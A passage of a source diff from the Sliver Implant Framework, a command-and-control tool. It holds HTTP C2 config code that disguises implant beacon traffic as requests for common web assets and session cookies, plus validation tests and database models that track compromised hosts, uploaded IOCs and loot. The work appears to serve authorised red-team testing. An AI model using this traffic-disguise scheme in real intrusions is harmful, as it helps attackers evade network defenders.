min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.JsFiles, min, h.MaxFiles)
return h.randomSample(h.PollFiles, h.PollFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomJsPaths() []string {
return h.randomSample(h.JsPaths, h.MinPaths, h.MaxPaths)
func (h *HTTPC2ImplantConfig) RandomPollPaths() []string {
return h.randomSample(h.PollPaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomTxtFiles() []string {
func (h *HTTPC2ImplantConfig) RandomCloseFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.TxtFiles, min, h.MaxFiles)
return h.randomSample(h.CloseFiles, h.CloseFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomTxtPaths() []string {
return h.randomSample(h.TxtPaths, h.MinPaths, h.MaxPaths)
func (h *HTTPC2ImplantConfig) RandomClosePaths() []string {
return h.randomSample(h.ClosePaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPngFiles() []string {
func (h *HTTPC2ImplantConfig) RandomSessionFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PngFiles, min, h.MaxFiles)
return h.randomSample(h.SessionFiles, h.SessionFileExt, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPngPaths() []string {
return h.randomSample(h.PngPaths, h.MinPaths, h.MaxPaths)
func (h *HTTPC2ImplantConfig) RandomSessionPaths() []string {
return h.randomSample(h.SessionPaths, "", h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPhpFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PhpFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPhpPaths() []string {
return h.randomSample(h.PhpPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []string {
func (h *HTTPC2ImplantConfig) randomSample(values []string, ext string, min int, max int) []string {
count := insecureRand.Intn(len(values))
if count < min {
count = min
@@ -233,9 +229,12 @@ func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []
var (
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
defaultHTTPC2Config = &HTTPC2Config{
defaultHTTPC2Config = HTTPC2Config{
ServerConfig: &HTTPC2ServerConfig{
Cookies: []string{"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS"},
RandomVersionHeaders: true,
Cookies: []string{
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
@@ -244,20 +243,45 @@ var (
MaxPaths: 8,
MinPaths: 2,
CssFiles: []string{"bootstrap.css", "bootstrap.min.css", "vendor.css"},
CssPaths: []string{"css", "styles", "style", "stylesheets", "stylesheet"},
StagerFileExt: ".woff",
JsFiles: []string{"bootstrap.js", "bootstrap.min.js", "jquery.min.js", "jquery.js"},
JsPaths: []string{"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts", "javascript"},
KeyExchangeFileExt: ".txt",
KeyExchangeFiles: []string{
"robots", "sample", "readme", "example",
},
KeyExchangePaths: []string{
"static", "www", "assets", "text", "docs", "sample", "data", "readme",
"examples",
},
TxtFiles: []string{"robots.txt", "sample.txt", "readme.txt", "example.txt"},
TxtPaths: []string{"static", "www", "assets", "text", "docs", "sample"},
PollFileExt: ".js",
PollFiles: []string{
"bootstrap", "bootstrap.min", "jquery.min", "jquery", "route",
"app", "app.min", "array", "backbone", "script", "email",
},
PollPaths: []string{
"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts",
"javascript", "jscript",
},
PngFiles: []string{"favicon.png", "sample.png", "example.png"},
PngPaths: []string{"static", "www", "assets", "images", "icons"},
StartSessionFileExt: ".phtml",
SessionFileExt: ".php",
SessionFiles: []string{
"login", "signin", "api", "samples", "rpc", "index",
"admin", "register", "sign-up",
},
SessionPaths: []string{
"php", "api", "upload", "actions", "rest", "v1", "auth", "authenticate",
"oauth", "oauth2", "oauth2callback", "database", "db", "namespaces",
},
PhpFiles: []string{"login.php", "signin.php", "api.php", "samples.php", "rpc.php"},
PhpPaths: []string{"php", "api", "upload", "actions", "rest", "v1", "async"},
CloseFileExt: ".png",
CloseFiles: []string{
"favicon", "sample", "example",
},
ClosePaths: []string{
"static", "www", "assets", "images", "icons", "image", "icon", "png",
},
},
}
)
@@ -276,19 +300,24 @@ func GetHTTPC2Config() *HTTPC2Config {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return defaultHTTPC2Config
return &defaultHTTPC2Config
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return defaultHTTPC2Config
return &defaultHTTPC2Config
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return defaultHTTPC2Config
return &defaultHTTPC2Config
}
err = CheckHTTPC2Config(config)
if err != nil {
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
return &defaultHTTPC2Config
}
return config
}
@@ -300,3 +329,161 @@ func generateDefaultConfig(saveTo string) error {
}
return ioutil.WriteFile(saveTo, data, 0600)
}
var (
ErrMissingCookies = errors.New("server config must specify at least one cookie")
ErrMissingStagerFileExt = errors.New("implant config must specify a stager_file_ext")
ErrMissingPollFileExt = errors.New("implant config must specify a poll_file_ext")
ErrTooFewPollFiles = errors.New("implant config must specify at least one poll_files value")
ErrMissingKeyExchangeFileExt = errors.New("implant config must specify a key_exchange_file_ext")
ErrTooFewKeyExchangeFiles = errors.New("implant config must specify at least one key_exchange_files value")
ErrMissingCloseFileExt = errors.New("implant config must specify a close_file_ext")
ErrTooFewCloseFiles = errors.New("implant config must specify at least one close_files value")
ErrMissingStartSessionFileExt = errors.New("implant config must specify a start_session_file_ext")
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
)
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
func CheckHTTPC2Config(config *HTTPC2Config) error {
err := checkServerConfig(config.ServerConfig)
if err != nil {
return err
}
return checkImplantConfig(config.ImplantConfig)
}
func coerceFileExt(value string) string {
value = fileNameExp.ReplaceAllString(value, "")
for strings.HasPrefix(value, ".") {
value = strings.TrimPrefix(value, ".")
}
return value
}
func coerceFiles(values []string, ext string) []string {
values = uniqueFileName(values)
coerced := []string{}
for _, value := range values {
if strings.HasSuffix(value, fmt.Sprintf(".%s", ext)) {
value = strings.TrimSuffix(value, fmt.Sprintf(".%s", ext))
}
coerced = append(coerced, value)
}
return coerced
}
func uniqueFileName(strSlice []string) []string {
allKeys := make(map[string]bool)
list := []string{}
for _, item := range strSlice {
item = fileNameExp.ReplaceAllString(item, "")
if len(item) < 1 {
continue
}
if _, value := allKeys[item]; !value {
allKeys[item] = true
list = append(list, item)
}
}
return list
}
func checkServerConfig(config *HTTPC2ServerConfig) error {
if len(config.Cookies) < 1 {
return ErrMissingCookies
}
return nil
}
func checkImplantConfig(config *HTTPC2ImplantConfig) error {
// MinFiles and MaxFiles
if config.MinFiles < 1 {
config.MinFiles = 1
}
if config.MaxFiles < config.MinFiles {
config.MaxFiles = config.MinFiles
}
// MinPaths and MaxPaths
if config.MinPaths < 0 {
config.MinPaths = 0
}
if config.MaxPaths < config.MinPaths {
config.MaxPaths = config.MinPaths
}
// Stager
config.StagerFileExt = coerceFileExt(config.StagerFileExt)
if config.StagerFileExt == "" {
return ErrMissingStagerFileExt
}
// Key Exchange
config.KeyExchangeFileExt = coerceFileExt(config.KeyExchangeFileExt)
if config.KeyExchangeFileExt == "" {
return ErrMissingKeyExchangeFileExt
}
config.KeyExchangeFiles = coerceFiles(config.KeyExchangeFiles, config.KeyExchangeFileExt)
if len(config.KeyExchangeFiles) < 1 {
return ErrTooFewKeyExchangeFiles
}
// Poll Settings
config.PollFileExt = coerceFileExt(config.PollFileExt)
if config.PollFileExt == "" {
return ErrMissingPollFileExt
}
config.PollFiles = coerceFiles(config.PollFiles, config.PollFileExt)
if len(config.PollFiles) < 1 {
return ErrTooFewPollFiles
}
// Session Settings
config.StartSessionFileExt = coerceFileExt(config.StartSessionFileExt)
if config.StartSessionFileExt == "" {
return ErrMissingStartSessionFileExt
}
config.SessionFileExt = coerceFileExt(config.SessionFileExt)
if config.SessionFileExt == "" {
return ErrMissingSessionFileExt
}
config.SessionFiles = coerceFiles(config.SessionFiles, config.StartSessionFileExt)
config.SessionFiles = coerceFiles(config.SessionFiles, config.SessionFileExt)
if len(config.SessionFiles) < 1 {
return ErrTooFewSessionFiles
}
// Close Settings
config.CloseFileExt = coerceFileExt(config.CloseFileExt)
if config.CloseFileExt == "" {
return ErrMissingCloseFileExt
}
config.CloseFiles = coerceFiles(config.CloseFiles, config.CloseFileExt)
if len(config.CloseFiles) < 1 {
return ErrTooFewCloseFiles
}
// Unique file extensions
allExtensions := map[string]bool{}
extensions := []string{
config.StagerFileExt,
config.KeyExchangeFileExt,
config.PollFileExt,
config.StartSessionFileExt,
config.SessionFileExt,
config.CloseFileExt,
}
for _, ext := range extensions {
if _, ok := allExtensions[ext]; ok {
return ErrNonuniqueFileExt
}
allExtensions[ext] = true
}
return nil
}
+92
View File
@@ -0,0 +1,92 @@
package configs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
var (
fileExtCoercions = map[string]string{
"js": "js",
".js": "js",
"/.js": "js",
"/.es6": "es6",
".mp4": "mp4",
}
)
func TestCoerceFileExt(t *testing.T) {
for input, output := range fileExtCoercions {
if value := coerceFileExt(input); value != output {
t.Fatalf("'%s' was parsed as '%s', expected '%s'", input, value, output)
}
}
}
func TestDefaultConfig(t *testing.T) {
data, err := json.Marshal(defaultHTTPC2Config)
if err != nil {
t.Fatal(err)
}
var config *HTTPC2Config
err = json.Unmarshal(data, &config)
if err != nil {
t.Fatal(err)
}
err = CheckHTTPC2Config(config)
if err != nil {
t.Fatal(err)
}
}
func TestPollConfig(t *testing.T) {
// Missing PollFileExt
config := defaultHTTPC2Config
origPollFileExt := config.ImplantConfig.PollFileExt
for _, ext := range []string{"", ".", "..."} {
config.ImplantConfig.PollFileExt = ext
err := CheckHTTPC2Config(&config)
if err != ErrMissingPollFileExt {
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
}
}
config.ImplantConfig.PollFileExt = origPollFileExt
// Missing PollFiles
emptyPollFiles := [][]string{
{},
{""},
{"/"},
{"", "", ""},
{"/", "/", "/"},
}
origPollFiles := config.ImplantConfig.PollFiles
for _, empty := range emptyPollFiles {
config.ImplantConfig.PollFiles = empty
err := CheckHTTPC2Config(&config)
if err != ErrTooFewPollFiles {
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
}
}
config.ImplantConfig.PollFiles = origPollFiles
}
+46
View File
@@ -0,0 +1,46 @@
package console
import (
"encoding/json"
"encoding/pem"
"testing"
clienttransport "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/server/certs"
)
func TestRootOnlyVerifyCertificate(t *testing.T) {
certs.SetupCAs()
data, err := NewPlayerConfig("zerocool", "localhost", uint16(1337))
if err != nil {
t.Fatalf("failed to generate test player profile %s", err)
}
config := &ClientConfig{}
err = json.Unmarshal(data, config)
if err != nil {
t.Fatalf("failed to parse client config %s", err)
}
_, _, err = certs.OperatorServerGetCertificate("localhost")
if err == certs.ErrCertDoesNotExist {
certs.OperatorServerGenerateCertificate("localhost")
}
// Test with a valid certificate
certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
block, _ := pem.Decode(certPEM)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err != nil {
t.Fatalf("root only verify certificate error: %s", err)
}
// Test with wrong CA
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
block, _ = pem.Decode(wrongCert)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err == nil {
t.Fatal("root only verify cert verified a certificate with invalid ca!")
}
}
-1
View File
@@ -113,5 +113,4 @@ func serverOnlyCmds(console *clientconsole.SliverConsoleClient) {
},
HelpGroup: consts.MultiplayerHelpGroup,
})
}
+71
View File
@@ -0,0 +1,71 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
var (
coreLog = log.NamedLogger("core", "hosts")
)
func StartEventAutomation() {
go func() {
for event := range EventBroker.Subscribe() {
switch event.EventType {
case consts.SessionOpenedEvent:
if event.Session != nil {
hostsSessionCallback(event.Session)
}
}
}
}()
}
// Triggered on new sessione events, checks to see if the host is in
// the database and adds it if not.
func hostsSessionCallback(session *Session) {
dbSession := db.Session()
_, err := db.HostByHostUUID(session.UUID)
if err != nil && err != gorm.ErrRecordNotFound {
coreLog.Error(err)
return
}
if err == gorm.ErrRecordNotFound {
err := dbSession.Create(&models.Host{
HostUUID: uuid.FromStringOrNil(session.UUID),
Hostname: session.Hostname,
OSVersion: session.Os,
IOCs: []models.IOC{},
ExtensionData: []models.ExtensionData{},
}).Error
if err != nil {
coreLog.Error(err)
return
}
}
}
+1
View File
@@ -72,6 +72,7 @@ type Session struct {
ProxyURL string
PollInterval uint32
Burned bool
Extensions []string
}
// ToProtobuf - Get the protobuf version of the object
+41
View File
@@ -201,3 +201,44 @@ func WGPeerIPs() ([]string, error) {
}
return ips, nil
}
// ListHosts - List of all hosts in the database
func ListHosts() ([]*models.Host, error) {
hosts := []*models.Host{}
err := Session().Where(
&models.Host{},
).Preload("IOCs").Preload("ExtensionData").Find(&hosts).Error
return hosts, err
}
// HostByHostID - Get host by the session's reported HostUUID
func HostByHostID(id uuid.UUID) (*models.Host, error) {
host := models.Host{}
err := Session().Where(&models.Host{ID: id}).First(&host).Error
if err != nil {
return nil, err
}
return &host, nil
}
// HostByHostUUID - Get host by the session's reported HostUUID
func HostByHostUUID(id string) (*models.Host, error) {
host := models.Host{}
err := Session().Where(
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
).Preload("IOCs").Preload("ExtensionData").Find(&host).Error
if err != nil {
return nil, err
}
return &host, nil
}
// IOCByID - Select an IOC by ID
func IOCByID(id string) (*models.IOC, error) {
ioc := &models.IOC{}
err := Session().Where(
&models.IOC{ID: uuid.FromStringOrNil(id)},
).First(ioc).Error
return ioc, err
}
+18
View File
@@ -1,5 +1,23 @@
package models
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"time"
+133
View File
@@ -0,0 +1,133 @@
package models
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
// Host - Represents a host machine
type Host struct {
gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
HostUUID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
Hostname string
OSVersion string // Verbore OS version
IOCs []IOC
ExtensionData []ExtensionData
}
// BeforeCreate - GORM hook
func (h *Host) BeforeCreate(tx *gorm.DB) (err error) {
h.ID, err = uuid.NewV4()
if err != nil {
return err
}
h.CreatedAt = time.Now()
return nil
}
func (h *Host) ToProtobuf() *clientpb.Host {
return &clientpb.Host{
HostUUID: h.HostUUID.String(),
Hostname: h.Hostname,
OSVersion: h.OSVersion,
IOCs: h.iocsToProtobuf(),
ExtensionData: h.extensionDataToProtobuf(),
}
}
func (h *Host) iocsToProtobuf() []*clientpb.IOC {
iocs := []*clientpb.IOC{}
for _, dbIOC := range h.IOCs {
iocs = append(iocs, dbIOC.ToProtobuf())
}
return iocs
}
func (h *Host) extensionDataToProtobuf() map[string]*clientpb.ExtensionData {
extData := map[string]*clientpb.ExtensionData{}
for _, dbExtData := range h.ExtensionData {
extData[dbExtData.Name] = &clientpb.ExtensionData{
Output: dbExtData.Output,
}
}
return extData
}
// IOC - Represents an indicator of compromise, generally a file we've
// uploaded to a remote system.
type IOC struct {
gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
HostID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
Path string
FileHash string
}
// BeforeCreate - GORM hook
func (i *IOC) BeforeCreate(tx *gorm.DB) (err error) {
i.ID, err = uuid.NewV4()
if err != nil {
return err
}
i.CreatedAt = time.Now()
return nil
}
func (i *IOC) ToProtobuf() *clientpb.IOC {
return &clientpb.IOC{
Path: i.Path,
FileHash: i.FileHash,
}
}
// ExtensionData - Represents an indicator of compromise, generally a file we've
// uploaded to a remote system.
type ExtensionData struct {
gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
HostID uuid.UUID `gorm:"type:uuid;"`
CreatedAt time.Time `gorm:"->;<-:create;"`
Name string
Output string
}
// BeforeCreate - GORM hook
func (e *ExtensionData) BeforeCreate(tx *gorm.DB) (err error) {
e.ID, err = uuid.NewV4()
if err != nil {
return err
}
e.CreatedAt = time.Now()
return nil
}
+2
View File
@@ -81,6 +81,7 @@ type ImplantConfig struct {
ReconnectInterval uint32
PollInterval uint32
MaxConnectionErrors uint32
ConnectionStrategy string
WGImplantPrivKey string
WGServerPubKey string
@@ -145,6 +146,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
ReconnectInterval: ic.ReconnectInterval,
PollInterval: ic.PollInterval,
MaxConnectionErrors: ic.MaxConnectionErrors,
ConnectionStrategy: ic.ConnectionStrategy,
LimitDatetime: ic.LimitDatetime,
LimitDomainJoined: ic.LimitDomainJoined,
+2
View File
@@ -36,6 +36,8 @@ type Loot struct {
FileType int
CredentialType int
Name string
OriginHost uuid.UUID `gorm:"type:uuid;"`
}
// BeforeCreate - GORM hook
+1 -1
View File
@@ -61,7 +61,7 @@ type WebContent struct {
// gorm.Model
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
WebsiteID uuid.UUID
WebsiteID uuid.UUID `gorm:"type:uuid;"`
Path string `gorm:"primaryKey"`
Size int
+3
View File
@@ -54,6 +54,9 @@ func newDBClient() *gorm.DB {
err := dbClient.AutoMigrate(
&models.DNSCanary{},
&models.Certificate{},
&models.Host{},
&models.IOC{},
&models.ExtensionData{},
&models.ImplantC2{},
&models.ImplantConfig{},
&models.ImplantBuild{},
Loaded 100 of 171 files, more files were not shown because too many files have changed in this diff. Show more